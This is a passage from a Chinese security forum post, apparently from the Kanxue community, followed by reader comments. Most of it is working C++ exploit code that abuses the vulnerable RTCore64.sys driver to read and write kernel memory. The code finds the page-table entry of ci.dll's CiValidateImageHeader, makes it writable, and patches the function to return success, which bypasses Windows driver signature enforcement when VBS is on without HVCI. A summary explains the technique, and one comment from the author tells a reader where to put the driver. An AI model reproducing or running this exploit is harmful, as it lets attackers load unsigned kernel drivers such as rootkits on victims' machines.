            hFile = CreateFileW(L"C:\\Windows\\System32\\ci.dll", GENERIC_READ, FILE_SHARE_READ, 
                NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            
            if (hFile == INVALID_HANDLE_VALUE)
            {
                DWORD err = GetLastError();
                cout << "打开CI文件失败，错误码：" << err << endl;
                break;
            }

// 获取文件大小
            LARGE_INTEGER fileSize = { 0 };
            if (!GetFileSizeEx(hFile, &fileSize)) 
            { 
                cout << "获取CI文件大小失败" << endl; 
                break; 
            };
            
            size_t qwFileSize = fileSize.QuadPart;
            if (!qwFileSize)
            {
                cout << "CI文件大小无效" << endl;
                break;
            }

// 分配缓冲区读取文件内容
            ImageBuffer = VirtualAlloc(NULL, qwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            if (!ImageBuffer)
            {
                DWORD err = GetLastError();
                cout << "分配CI文件缓冲区失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageBuffer, qwFileSize);

// 读取文件内容到缓冲区
            DWORD bytesRead = 0;
            if (!ReadFile(hFile, ImageBuffer, qwFileSize, &bytesRead, NULL) || bytesRead != qwFileSize)
            {
                DWORD err = GetLastError();
                cout << "读取CI文件失败，错误码：" << err << endl;
                break;
            }
            CloseHandle(hFile);
            hFile = NULL;

// 获取PE文件NT头
            PIMAGE_NT_HEADERS ntHeaders = NULL;
            if (!GetNTHeaders(ImageBuffer, &ntHeaders))
            {
                cout << "获取CI镜像NT头失败" << endl;
                break;
            }

// 分配内存映射PE镜像
            ImageMemory = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, 
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            
            if (!ImageMemory)
            {
                DWORD err = GetLastError();
                cout << "分配CI镜像内存失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageMemory, ntHeaders->OptionalHeader.SizeOfImage);

// 复制PE头
            memcpy(ImageMemory, ImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

// 释放文件缓冲区，保存镜像信息
            ImageBuffer = NULL;
            gCiImageBase = ImageMemory;
            gCiImageSize = ntHeaders->OptionalHeader.SizeOfImage;
            result = TRUE;

} while (false);

// 清理资源
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            CloseHandle(hFile);
        
        if (ImageBuffer)
            VirtualFree(ImageBuffer, 0, MEM_RELEASE);
        
        return result;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        DWORD err = GetExceptionCode();
        cout << "映射CI镜像异常，异常码：0x" << hex << err << endl;
        ExitProcess(1);
    }
}

/**
 * @brief 释放本地映射的CI镜像
 */
VOID UnmapCiImage()
{
    if (gCiImageBase)
    {
        VirtualFree(gCiImageBase, 0, MEM_RELEASE);
        gCiImageBase = NULL;
    }
}

/**
 * @brief 获取PE文件导出函数的RVA
 * @param BaseAddress PE文件基地址
 * @param FuncName 导出函数名
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetFuncRVA(PVOID BaseAddress, const char* FuncName)
{
    PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
    if (!GetImageExportDirectory(BaseAddress, &pExportDir))
    {
        cout << "获取导出表失败" << endl;
        return 0;
    }

// 解析导出表函数地址、名称、序号数组
    PDWORD funcRVA = (PDWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfFunctions);
    PDWORD nameRVA = (PDWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfNames);
    PWORD nameOrdinal = (PWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfNameOrdinals);

// 遍历导出函数查找目标函数
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++)
    {
        if (!strcmp(FuncName, (char*)BaseAddress + nameRVA[i]))
            return funcRVA[nameOrdinal[i]];
    }

cout << "查找函数RVA失败" << endl;
    return 0;
}

/**
 * @brief 通过特征码查找MiGetPteAddress函数的RVA
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetMiGetPteAddressFuncRVA()
{
    // MiGetPteAddress函数特征码
    BYTE pattern[] = "\x48\xc1\xe9\x09\x48\xb8\xf8\xff\xff\xff\x7f\x00\x00\x00\x48\x23\xc8\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x03\xc1\xc3";
    char mask[] = "xxxxxxxxxxxxxxxxxxxxxxx????xxxx";
    
    // 在.text节搜索特征码
    PBYTE funcAddr = (PBYTE)SearchPattern(gKernelImageExecuteBase, gKernelImageExecuteSize, pattern, mask);
    // 计算RVA（相对镜像基地址）
    return (DWORD_PTR)funcAddr - (DWORD_PTR)gKernelImageBase;
}

/**
 * @brief 查找CiValidateImageHeader函数的RVA
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetCiValidateImageHeaderRVA()
{
    // 先找到CiInitialize函数地址
    PBYTE pCiInitialize = (PBYTE)gCiImageBase + GetFuncRVA(gCiImageBase, "CiInitialize");
    cout << "CI!CiInitialize 地址：0x" << hex << (DWORD_PTR)gCiBase + GetFuncRVA(gCiImageBase, "CiInitialize") << endl;

// 搜索CipInitialize函数特征码
    BYTE pattern[] = "\x48\x8b\xd6\x8b\xcd";
    char mask[] = "xxxxx";
    PBYTE pCipInitialize = (PBYTE)SearchPattern(pCiInitialize, 0x1000, pattern, mask);
    pCipInitialize += 5;

// 解析偏移找到CipInitialize函数
    INT32 offset = *(INT32*)(pCipInitialize + 1);
    pCipInitialize += 5;
    pCipInitialize += offset;
    cout << "CI!CipInitialize 地址：0x" << hex << (DWORD_PTR)pCipInitialize - (DWORD_PTR)gCiImageBase + (DWORD_PTR)gCiBase;

// 搜索CiValidateImageHeader函数特征码
    BYTE pattern2[] = "\x48\x8d\x05\x00\x00\x00\x00";
    char mask2[] = "xxx??xx";
    PBYTE uValueA = (PBYTE)SearchPattern(pCipInitialize, 0x2000, pattern2, mask2);
    INT32 offset2 = *(INT32*)(uValueA + 3);
    cout << "offset2=0x" << hex << offset2 << endl;

// 计算CiValidateImageHeader函数RVA
    DWORD_PTR next = (DWORD_PTR)uValueA + 7;
    return (next + offset2) - (DWORD_PTR)gCiImageBase;
}

int main()
{
    // 启用调试权限
    EnableDebugPrivilege();

ULONGLONG address = 0;
    // 获取内核模块基地址
    PBYTE kernelBase = (PBYTE)GetKernelBase();
    cout << "内核基址：0x" << hex << (DWORD_PTR)kernelBase << endl;
    InitDevice();
    // 映射内核镜像到本地
    if (!MapKernelImage())
    {
        cout << "映射内核镜像失败" << endl;
        CloseDevice();
        cin.get();
        return -1;
    }

// 映射CI镜像到本地
    if (!MapCiImage())
    {
        cout << "映射CI镜像失败" << endl;
        CloseDevice();
        UnmapKernelImage();
        cin.get();
        return -1;
    }

// 获取内核镜像.text节地址
    if (!GetKernelImageExecuteBase())
    {
        cout << "获取内核镜像可执行段失败" << endl;
        UnmapKernelImage();
        UnmapCiImage();
        CloseDevice();
        cin.get();
        return -1;
    }

cout << "内核镜像基址：0x" << hex << (DWORD_PTR)gKernelImageBase << endl;

// 获取CI模块基地址
    gCiBase = GetKernelModuleBase("ci.dll", NULL);
    if (!gCiBase)
    {
        cout << "获取Ci.dll基地址失败" << endl;
    }
    cout << "Ci.dll基地址：0x" << hex << (DWORD_PTR)gCiBase << endl;

// 查找MiGetPteAddress函数RVA和实际地址
    DWORD_PTR miGetPteAddressFuncRVA = GetMiGetPteAddressFuncRVA();
    cout << "MiGetPteAddress函数RVA：0x" << hex << miGetPteAddressFuncRVA << endl;
    PVOID miGetPteAddressFunc = (PBYTE)kernelBase + miGetPteAddressFuncRVA;
    cout << "MiGetPteAddress函数地址：0x" << hex << (DWORD_PTR)miGetPteAddressFunc << endl;

// 读取PTE基地址
    DWORD64 pteBaseAddress = 0;
    KernelReadMemory((PBYTE)miGetPteAddressFunc + 19, (PBYTE)&pteBaseAddress, sizeof(pteBaseAddress));
    
    // 解析MiGetPteAddress函数常量
    BYTE uValueA = *(BYTE*)((DWORD64)gKernelImageBase + miGetPteAddressFuncRVA + 0x03);
    DWORD64 uValueB = *(DWORD64*)((DWORD64)gKernelImageBase + miGetPteAddressFuncRVA + 0x06);
    cout << "uValueA：0x" << hex << (DWORD)uValueA << endl;
    cout << "uValueB：0x" << hex << uValueB << endl;
    cout << "PTE基址：0x" << hex << pteBaseAddress << endl;

// 查找CiValidateImageHeader函数实际地址
    PVOID pCiValidateImageHeader = (PVOID)((DWORD_PTR)gCiBase + GetCiValidateImageHeaderRVA());
    cout << "CiValidateImageHeader函数地址：0x" << hex << (DWORD_PTR)pCiValidateImageHeader << endl;

// 计算CiValidateImageHeader函数对应的PTE地址
    address = (ULONGLONG)pCiValidateImageHeader;
    ULONG64* pte = (ULONG64*)((address >> uValueA & uValueB) + pteBaseAddress);
    cout << "PTE地址：0x" << hex << (DWORD_PTR)pte << endl;

// 读取PTE原值并修改权限（添加可写位）
    DWORD64 pteValue = 0;
    KernelReadMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
    pteValue = pteValue | 2;
    KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));

// 保存CiValidateImageHeader函数原始前4字节
    BYTE originalValue[4] = { 0 };
    KernelReadMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));

// 篡改CiValidateImageHeader函数（替换为"xor rax,rax; ret"）
    KernelWriteMemory(pCiValidateImageHeader, (PBYTE)"\x48\x31\xc0\xc3", 4);

// 等待用户输入后恢复原始值
    cout << "按任意键恢复原始值..." << endl;
    cin.get();

// 恢复CiValidateImageHeader函数原始值
    KernelWriteMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
    
    // 恢复PTE权限
    pteValue = pteValue ^ 2;
    KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));

// 清理资源
    CloseDevice();
    UnmapCiImage();
    UnmapKernelImage();

cout << "已恢复原始值，按任意键退出..." << endl;
    cin.get();
    return 0;
}
```
## 四、总结

在启用VBS（基于虚拟化的安全）但未开启HVCI（管理程序代码完整性）的环境下，通过代码热修补技术可绕过DSE（驱动签名强制）。

### 4.1 核心思路

在VBS环境下，`g_CiOptions`全局变量被内核数据保护（KDP）技术保护，无法直接修改。因此，我们采用了一种间接的方法：通过修改`CiValidateImageHeader`函数，使其在执行签名验证前直接返回`STATUS_SUCCESS`，从而绕过整个签名验证流程。

### 4.2 技术实现要点

1. **漏洞驱动利用**：利用RTCore64.sys漏洞驱动实现对内核内存的读写操作，这是整个绕过过程的基础。

2. **内存映射**：通过映射内核镜像和ci.dll镜像到用户空间，便于分析和定位关键函数。

3. **特征码搜索**：使用特征码搜索技术定位`MiGetPteAddress`和`CiValidateImageHeader`等关键函数，提高了代码在不同Windows版本上的兼容性。

4. **PTE操作**：通过分析`MiGetPteAddress`函数，提取计算PTE地址所需的参数和基址，实现对页表项的精准定位和权限修改。

5. **热修补技术**：在修改页表项权限后，对`CiValidateImageHeader`函数进行热修补，写入`xor rax, rax; ret`指令使其直接返回`STATUS_SUCCESS`。

### 4.3 局限性与注意事项

1. **HVCI限制**：此方法仅在未开启HVCI的VBS环境下有效。当HVCI开启时，内核代码会被进一步保护，无法通过此方法修改。

2. **蓝屏风险**：在修改页表项权限后，需要在用户空间等待用户输入后恢复原始值，否则会导致 PatchGuard 蓝屏。

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2026-9-4 15:32 被漫雾.编辑，原因：

#漏洞利用 #Windows

收藏・29

点赞・122

打赏

赞赏记录

参与人

雪币

留言

时间

zhczf

感谢你的积极参与，期待更多精彩内容！

21小时前

git_61735BeeChat

谢谢你的细致分析，受益匪浅！

1天前

jjjaaabbb

你的帖子非常有用，感谢分享！

3天前

wx_好一脚头球

为你点赞！

5天前

__Shinn

你的分享对大家帮助很大，非常感谢！

2026-9-11 20:23

git_51951meggadf3df

非常支持你的观点！

2026-9-10 21:46

asaqlp

为你点赞！

2026-9-10 21:45

铭信

你的帖子非常有用，感谢分享！

2026-9-7 21:56

Saber|Master

期待更多优质内容的分享，论坛有你更精彩！

2026-9-3 01:25

git_91831DearXiaoGui

为你点赞！

2026-9-2 16:21

W4yD1

为你点赞！

2026-9-2 15:21

MsScotch

非常支持你的观点！

2026-8-28 20:19

ls2026

感谢你的积极参与，期待更多精彩内容！

2026-8-28 20:12

mb_fqaupduh

期待更多优质内容的分享，论坛有你更精彩！

2026-8-22 22:58

mb_lthgjpwj

为你点赞！

2026-8-21 07:58

rringoo

这个讨论对我很有帮助，谢谢！

2026-8-17 22:55

mb_qgkwyiav

这个讨论对我很有帮助，谢谢！

2026-8-15 22:59

mb_wsoacceo

为你点赞！

2026-8-11 01:28

wbaby1988

非常支持你的观点！

2026-8-10 05:42

mb_ocspwpcp

期待更多优质内容的分享，论坛有你更精彩！

2026-8-8 15:52

redbg

非常支持你的观点！

2026-8-8 08:27

xjohjrdy

非常支持你的观点！

2026-7-27 20:41

DingDangCatt

感谢你的贡献，论坛因你而更加精彩！

2026-7-26 11:56

jyotidwi

你的帖子非常有用，感谢分享！

2026-7-26 01:59

若水SAFE

为你点赞！

2026-7-24 14:29

btmanbtman

这个讨论对我很有帮助，谢谢！

2026-7-23 15:21

Frank2478

谢谢你的细致分析，受益匪浅！

2026-7-22 15:12

萌新_RE

非常支持你的观点！

2026-7-22 00:40

wx_晨梦

期待更多优质内容的分享，论坛有你更精彩！

2026-7-16 06:40

hcsmq

期待更多优质内容的分享，论坛有你更精彩！

2026-7-15 11:39

只会逆一点点

感谢你分享这么好的资源！

2026-7-13 11:00

git_68898LeonChows

非常支持你的观点！

2026-7-10 15:54

findreamwang

为你点赞！

2026-7-9 15:05

酒肉和尚

为你点赞！

2026-7-9 09:52

abxy

谢谢你的细致分析，受益匪浅！

2026-7-8 09:47

yp太阳神

为你点赞！

2026-7-8 09:24

appview

你的帖子非常有用，感谢分享！

2026-7-8 09:14

Saileaxh

非常支持你的观点！

2026-7-8 07:26

Hades一KXXY

你的分享对大家帮助很大，非常感谢！

2026-7-7 10:19

KALI_MC

感谢你的积极参与，期待更多精彩内容！

2026-7-6 22:14

uvbs

谢谢你的细致分析，受益匪浅！

2026-7-6 11:09

spacetimec

你的帖子非常有用，感谢分享！

2026-7-5 19:39

Mr.hack

为你点赞！

2026-7-5 12:58

tank小王子

你的帖子非常有用，感谢分享！

2026-7-5 11:55

piaoyi587

你的帖子非常有用，感谢分享！

2026-7-4 00:09

UserXCh

为你点赞！

2026-7-3 18:57

Reverser07

为你点赞！

2026-7-3 11:32

jihongwdlp

为你点赞！

2026-7-3 11:04

mb_dbpeontu

感谢你的积极参与，期待更多精彩内容！

2026-7-3 10:44

微笑:)

谢谢你的细致分析，受益匪浅！

2026-7-3 10:35

mb_aorspzpl

这个讨论对我很有帮助，谢谢！

2026-7-3 06:06

长剑一杯酒

谢谢你的细致分析，受益匪浅！

2026-7-2 20:20

mb_xknjnwpm

为你点赞！

2026-7-2 09:00

achenyuan

这个讨论对我很有帮助，谢谢！

2026-7-1 15:24

mb_vokyxpgb

为你点赞！

2026-6-30 16:59

寒冰心结

这个讨论对我很有帮助，谢谢！

2026-6-25 19:16

mb_behhrwlr

感谢你的贡献，论坛因你而更加精彩！

2026-6-24 09:07

mb_iirigsjr

这个讨论对我很有帮助，谢谢！

2026-6-23 23:27

zhongdong

为你点赞！

2026-6-23 10:11

ptcql

感谢你分享这么好的资源！

2026-6-22 16:01

4seaynl

非常支持你的观点！

2026-6-20 02:57

CanMeng

你的分享对大家帮助很大，非常感谢！

2026-6-14 00:12

小黑猪ZZZ

为你点赞！

2026-6-13 09:31

ONewTach

这个讨论对我很有帮助，谢谢！

2026-6-12 08:57

wx_叶落无痕

期待更多优质内容的分享，论坛有你更精彩！

2026-6-11 12:51

mb_jumzvmxy

你的分享对大家帮助很大，非常感谢！

2026-6-9 19:12

zengsunsan

非常支持你的观点！

2026-6-8 21:24

璀璨访华

谢谢你的细致分析，受益匪浅！

2026-6-1 20:43

mb_ltpfmbod

感谢你分享这么好的资源！

2026-5-30 16:14

mb_azfweioa

谢谢你的细致分析，受益匪浅！

2026-5-29 14:29

MochaCo

感谢你的贡献，论坛因你而更加精彩！

2026-5-29 02:26

mb_xaxjwwvm

谢谢你的细致分析，受益匪浅！

2026-5-27 15:44

git_29923DEV-C-PY

非常支持你的观点！

2026-5-26 14:10

qj111111

你的分享对大家帮助很大，非常感谢！

2026-5-25 16:29

mb_getwjyap

为你点赞！

2026-5-25 02:50

git_63623hangsman

期待更多优质内容的分享，论坛有你更精彩！

2026-5-24 20:18

mb_fgsdhdlk

为你点赞！

2026-5-22 09:41

mb_wotqqgfr

为你点赞！

2026-5-21 16:58

asd

为你点赞！

2026-5-20 10:00

绿色玩家999

感谢你的贡献，论坛因你而更加精彩！

2026-5-19 14:24

git_46183EBalloon

感谢你分享这么好的资源！

2026-5-19 01:26

范琪姆

谢谢你的细致分析，受益匪浅！

2026-5-13 18:28

柠檬有多萌

为你点赞！

2026-5-10 19:39

聂风云

非常支持你的观点！

2026-5-10 18:40

mb_sjcexqty

期待更多优质内容的分享，论坛有你更精彩！

2026-5-6 16:36

nulles

感谢你分享这么好的资源！

2026-5-5 19:55

mb_redpeicl

你的帖子非常有用，感谢分享！

2026-5-5 19:50

Henglie

感谢你分享这么好的资源！

2026-5-5 19:14

涙涙涙

谢谢你的细致分析，受益匪浅！

2026-5-5 19:04

xxxark

感谢你的积极参与，期待更多精彩内容！

2026-5-5 13:07

hy127

感谢你的积极参与，期待更多精彩内容！

2026-5-5 12:10

AO031

为你点赞！

2026-5-5 11:29

mb_erdbuuro

+10

感谢你分享这么好的资源！

2026-5-5 08:20

mb_cornfuhe

感谢你的贡献，论坛因你而更加精彩！

2026-5-2 01:56

tanpao

非常支持你的观点！

2026-5-1 13:18

木志本柯

感谢你的积极参与，期待更多精彩内容！

2026-5-1 01:56

Dy1an

这个讨论对我很有帮助，谢谢！

2026-4-30 14:03

厌倦

感谢你的积极参与，期待更多精彩内容！

2026-4-30 10:30

aresmar

非常支持你的观点！

2026-4-29 18:57

白色风信子

感谢你分享这么好的资源！

2026-4-27 14:10

npc0vo

为你点赞！

2026-4-26 04:01

NoHeart

感谢你的积极参与，期待更多精彩内容！

2026-4-18 23:48

cavan

谢谢你的细致分析，受益匪浅！

2026-4-18 23:30

333333

谢谢你的细致分析，受益匪浅！

2026-4-18 00:53

天月

期待更多优质内容的分享，论坛有你更精彩！

2026-4-17 23:13

zuotao

这个讨论对我很有帮助，谢谢！

2026-4-15 12:40

我不是深渊

为你点赞！

2026-4-14 09:18

老球子

期待更多优质内容的分享，论坛有你更精彩！

2026-4-13 16:40

煜凡

这个讨论对我很有帮助，谢谢！

2026-4-13 16:30

w33d

你的帖子非常有用，感谢分享！

2026-4-13 10:29

ZGADO

你的帖子非常有用，感谢分享！

2026-4-10 11:22

Asbeel

这个讨论对我很有帮助，谢谢！

2026-4-9 21:49

mb_heqvlbnm

感谢你的积极参与，期待更多精彩内容！

2026-4-9 16:01

EX呵呵

你的帖子非常有用，感谢分享！

2026-4-9 15:46

wx_byte

感谢你的积极参与，期待更多精彩内容！

2026-4-9 15:35

mb_kphqygvr

为你点赞！

2026-4-9 09:58

huangyalei

这个讨论对我很有帮助，谢谢！

2026-4-8 21:38

のばら

谢谢你的细致分析，受益匪浅！

2026-4-8 20:42

lpmjknj

感谢你的贡献，论坛因你而更加精彩！

2026-4-8 18:59

顽劣

为你点赞！

2026-4-8 17:20

mb_hzfcelhs

你的帖子非常有用，感谢分享！

2026-4-8 16:44

漆寒

非常支持你的观点！

2026-4-8 16:00

最新回复 (81) 1 2 3 4 ▶
zz胡雪币： 1031 活跃值： (1859) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 2 楼 666 2026-4-8 16:12 0
大嘴巴巴雪币： 57 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	大嘴巴巴 3 楼 2026-4-8 16:21 0
逆向爱好者雪币： 3536 活跃值： (7799) 能力值： ( LV3，RANK：20 ) 在线值：发帖 37 回帖 280 粉丝 24 关注私信	逆向爱好者 4 楼牛逼牛逼 2026-4-8 17:32 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 5 楼 666 2026-4-8 20:08 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 6 楼找不到支持读写功能的驱动 2026-4-8 20:13 0
mb_urzqsoer 雪币： 206 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 118 粉丝 0 关注私信	mb_urzqsoer 7 楼不错不错学习了 2026-4-8 21:30 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 8 楼夕阳s 找不到支持读写功能的驱动[em_006] 要RTCore64.sys 2026-4-8 22:59 0
zhatian 雪币： 7668 活跃值： (5647) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 256 粉丝 20 关注私信	zhatian 9 楼 666 2026-4-8 22:59 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 10 楼漫雾. 要RTCore64.sys 这个sys新系统启动不了 2026-4-9 00:13 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 11 楼夕阳s 这个sys新系统启动不了我那边可以的，就是Win11最新版本 2026-4-9 09:30 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 12 楼你把RTCore64.sys放到C:\Windows\System32\drivers里试试 2026-4-9 09:31 0
啊你好哇123 雪币： 722 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 361 粉丝 0 关注私信	啊你好哇123 13 楼学习学习 2026-4-9 11:40 0
mb_ysegxpmv 雪币： 2160 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 115 粉丝 0 关注私信	mb_ysegxpmv 14 楼牛逼 2026-4-9 12:25 0
wx_庸才雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	wx_庸才 15 楼 XX 2026-4-9 13:11 0
laosanls 雪币： 164 活跃值： (879) 能力值： ( LV3，RANK：20 ) 在线值：发帖 35 回帖 129 粉丝 9 关注私信	laosanls 16 楼看看，谢谢。 2026-4-11 01:38 0
git_77796hhhenggg 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	git_77796hhhenggg 17 楼学习 2026-4-14 05:59 0
mb_izusscmv 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	mb_izusscmv 18 楼谢谢分享 2026-4-14 06:34 0
wx_IT_717 雪币： 3000 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 103 粉丝 0 关注私信	wx_IT_717 19 楼厉害啊，感谢分享 2026-4-14 08:30 0
YoungBai 雪币： 1293 活跃值： (1635) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 144 粉丝 2 关注私信	YoungBai 20 楼 666 2026-4-14 09:26 0
Nashine 雪币： 162 活跃值： (119) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 7 粉丝 0 关注私信	Nashine 21 楼这么厉害的帖子，必须回复一下啊。 2026-4-15 12:46 0
wx-YATUOKESI 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	wx-YATUOKESI 22 楼 1 2026-4-18 23:14 0
bq7 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	bq7 23 楼 2026-4-27 21:35 0
mb_huubopcm 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 15 粉丝 0 关注私信	mb_huubopcm 24 楼 6666666 2026-4-28 11:39 0
4seaynl 雪币： 1179 活跃值： (120) 能力值： ( LV3，RANK：20 ) 在线值：发帖 7 回帖 6 粉丝 8 关注私信	4seaynl 25 楼支持 2026-5-1 01:04 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

漫雾.

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (81) 1 2 3 4 ▶
zz胡雪币： 1031 活跃值： (1859) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 2 楼 666 2026-4-8 16:12 0
大嘴巴巴雪币： 57 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	大嘴巴巴 3 楼 2026-4-8 16:21 0
逆向爱好者雪币： 3536 活跃值： (7799) 能力值： ( LV3，RANK：20 ) 在线值：发帖 37 回帖 280 粉丝 24 关注私信	逆向爱好者 4 楼牛逼牛逼 2026-4-8 17:32 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 5 楼 666 2026-4-8 20:08 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 6 楼找不到支持读写功能的驱动 2026-4-8 20:13 0
mb_urzqsoer 雪币： 206 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 118 粉丝 0 关注私信	mb_urzqsoer 7 楼不错不错学习了 2026-4-8 21:30 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 8 楼夕阳s 找不到支持读写功能的驱动[em_006] 要RTCore64.sys 2026-4-8 22:59 0
zhatian 雪币： 7668 活跃值： (5647) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 256 粉丝 20 关注私信	zhatian 9 楼 666 2026-4-8 22:59 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 10 楼漫雾. 要RTCore64.sys 这个sys新系统启动不了 2026-4-9 00:13 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 11 楼夕阳s 这个sys新系统启动不了我那边可以的，就是Win11最新版本 2026-4-9 09:30 0
漫雾. 雪币： 2277 活跃值： (1246) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 17 粉丝 46 关注私信	漫雾. 2 12 楼你把RTCore64.sys放到C:\Windows\System32\drivers里试试 2026-4-9 09:31 0
啊你好哇123 雪币： 722 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 361 粉丝 0 关注私信	啊你好哇123 13 楼学习学习 2026-4-9 11:40 0
mb_ysegxpmv 雪币： 2160 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 115 粉丝 0 关注私信	mb_ysegxpmv 14 楼牛逼 2026-4-9 12:25 0
wx_庸才雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	wx_庸才 15 楼 XX 2026-4-9 13:11 0
laosanls 雪币： 164 活跃值： (879) 能力值： ( LV3，RANK：20 ) 在线值：发帖 35 回帖 129 粉丝 9 关注私信	laosanls 16 楼看看，谢谢。 2026-4-11 01:38 0
git_77796hhhenggg 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	git_77796hhhenggg 17 楼学习 2026-4-14 05:59 0
mb_izusscmv 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	mb_izusscmv 18 楼谢谢分享 2026-4-14 06:34 0
wx_IT_717 雪币： 3000 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 103 粉丝 0 关注私信	wx_IT_717 19 楼厉害啊，感谢分享 2026-4-14 08:30 0
YoungBai 雪币： 1293 活跃值： (1635) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 144 粉丝 2 关注私信	YoungBai 20 楼 666 2026-4-14 09:26 0
Nashine 雪币： 162 活跃值： (119) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 7 粉丝 0 关注私信	Nashine 21 楼这么厉害的帖子，必须回复一下啊。 2026-4-15 12:46 0
wx-YATUOKESI 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	wx-YATUOKESI 22 楼 1 2026-4-18 23:14 0
bq7 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	bq7 23 楼 2026-4-27 21:35 0
mb_huubopcm 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 15 粉丝 0 关注私信	mb_huubopcm 24 楼 6666666 2026-4-28 11:39 0
4seaynl 雪币： 1179 活跃值： (120) 能力值： ( LV3，RANK：20 ) 在线值：发帖 7 回帖 6 粉丝 8 关注私信	4seaynl 25 楼支持 2026-5-1 01:04 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复